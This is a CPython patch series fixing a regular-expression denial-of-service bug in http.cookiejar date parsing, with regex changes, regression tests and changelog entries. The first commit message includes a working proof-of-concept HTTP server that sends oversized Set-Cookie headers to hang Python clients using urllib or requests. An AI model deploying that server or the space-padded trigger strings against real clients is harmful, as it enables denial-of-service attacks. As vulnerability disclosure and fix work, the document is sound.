From ecf7b84257ca680db7519d55b8c0edca845622ab Mon Sep 17 00:00:00 2001 From: bcaller Date: Thu, 14 Nov 2019 22:58:20 +0000 Subject: [PATCH 1/6] bpo-38804: Fix REDoS in http.cookiejar The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") --- Lib/http/cookiejar.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/Lib/http/cookiejar.py b/Lib/http/cookiejar.py index adc7ed62425d06..409eb865a0b378 100644 --- a/Lib/http/cookiejar.py +++ b/Lib/http/cookiejar.py @@ -214,10 +214,14 @@ def _str2time(day, mon, yr, hr, min, sec, tz): (?::(\d\d))? # optional seconds )? # optional clock \s* - ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone + (?: + ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+) # timezone + \s* + )? + (?: + \(\w+\) # ASCII representation of timezone in parens. \s* - (?:\(\w+\))? # ASCII representation of timezone in parens. - \s*$""", re.X | re.ASCII) + )?$""", re.X | re.ASCII) def http2time(text): """Returns time in seconds since epoch of time represented by a string. From 92f46027a84ea13aadc821d7a6ff69c3f61c713d Mon Sep 17 00:00:00 2001 From: "blurb-it[bot]" <43283697+blurb-it[bot]@users.noreply.github.com> Date: Fri, 15 Nov 2019 00:54:42 +0000 Subject: [PATCH 2/6] =?UTF-8?q?=F0=9F=93=9C=F0=9F=A4=96=20Added=20by=20blu?= =?UTF-8?q?rb=5Fit.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst | 1 + 1 file changed, 1 insertion(+) create mode 100644 Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst diff --git a/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst b/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst new file mode 100644 index 00000000000000..26f39311e91b6e --- /dev/null +++ b/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst @@ -0,0 +1 @@ +Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. \ No newline at end of file From 04a3c611563a5fe36bbc83c0d4315a64d73d5847 Mon Sep 17 00:00:00 2001 From: bcaller Date: Fri, 15 Nov 2019 11:49:29 +0000 Subject: [PATCH 3/6] Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. --- Lib/test/test_http_cookiejar.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Lib/test/test_http_cookiejar.py b/Lib/test/test_http_cookiejar.py index 853a40044965b1..c2c9c14d9df0b7 100644 --- a/Lib/test/test_http_cookiejar.py +++ b/Lib/test/test_http_cookiejar.py @@ -123,6 +123,13 @@ def test_http2time_garbage(self): "http2time(%s) is not None\n" "http2time(test) %s" % (test, http2time(test))) + def test_http2time_redos_regression_actually_completes(self): + # LOOSE_HTTP_DATE_RE was vulnerable to malicious input which caused catastrophic backtracking (REDoS). + # If we regress to cubic complexity, this test will take a very long time to succeed. + # If fixed, it should complete within a fraction of a second. + http2time("01 Jan 1970{}00:00:00 GMT!".format(" " * 10 ** 5)) + http2time("01 Jan 1970 00:00:00{}GMT!".format(" " * 10 ** 5)) + def test_iso2time(self): def parse_date(text): return time.gmtime(iso2time(text))[:6] From e11dfbeca5f4921289fd93379bb48544ae6b1e53 Mon Sep 17 00:00:00 2001 From: bcaller Date: Fri, 15 Nov 2019 12:03:48 +0000 Subject: [PATCH 4/6] Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. --- Lib/http/cookiejar.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/Lib/http/cookiejar.py b/Lib/http/cookiejar.py index 409eb865a0b378..47ed5c3d64ab7d 100644 --- a/Lib/http/cookiejar.py +++ b/Lib/http/cookiejar.py @@ -291,9 +291,11 @@ def http2time(text): (?::?(\d\d(?:\.\d*)?))? # optional seconds (and fractional) )? # optional clock \s* - ([-+]?\d\d?:?(:?\d\d)? - |Z|z)? # timezone (Z is "zero meridian", i.e. GMT) - \s*$""", re.X | re. ASCII) + (?: + ([-+]?\d\d?:?(:?\d\d)? + |Z|z) # timezone (Z is "zero meridian", i.e. GMT) + \s* + )?$""", re.X | re. ASCII) def iso2time(text): """ As for http2time, but parses the ISO 8601 formats: From bc4306398269d1e76bf1be11c748b5c02bcd3a12 Mon Sep 17 00:00:00 2001 From: bcaller Date: Fri, 15 Nov 2019 19:33:28 +0000 Subject: [PATCH 5/6] Test for ISO_DATE_RE sub-quadratic performance --- Lib/test/test_http_cookiejar.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Lib/test/test_http_cookiejar.py b/Lib/test/test_http_cookiejar.py index c2c9c14d9df0b7..2d7077af6da39e 100644 --- a/Lib/test/test_http_cookiejar.py +++ b/Lib/test/test_http_cookiejar.py @@ -187,6 +187,12 @@ def test_iso2time_garbage(self): self.assertIsNone(iso2time(test), "iso2time(%r)" % test) + def test_iso2time_performance_regression(self): + # If ISO_DATE_RE regresses to quadratic complexity, this test will take a very long time to succeed. + # If fixed, it should complete within a fraction of a second. + iso2time('1994-02-03{}14:15:29 -0100!'.format(' '*10**6)) + iso2time('1994-02-03 14:15:29{}-0100!'.format(' '*10**6)) + class HeaderTests(unittest.TestCase): From 11fd815d180c5c58ac4beec1133c32267b15e87c Mon Sep 17 00:00:00 2001 From: bcaller Date: Sat, 16 Nov 2019 23:53:40 +0000 Subject: [PATCH 6/6] Update News / Acks Co-Authored-By: Serhiy Storchaka --- Misc/ACKS | 1 + .../next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/Misc/ACKS b/Misc/ACKS index 13c6676bace1fb..357ce024e9e8c7 100644 --- a/Misc/ACKS +++ b/Misc/ACKS @@ -250,6 +250,7 @@ Zach Byrne Vedran Čačić Nicolas Cadou Jp Calderone +Ben Caller Arnaud Calmettes Daniel Calvelo Tony Campbell diff --git a/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst b/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst index 26f39311e91b6e..1f45142d9f7437 100644 --- a/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst +++ b/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst @@ -1 +1 @@ -Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. \ No newline at end of file +Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. Patch by Ben Caller.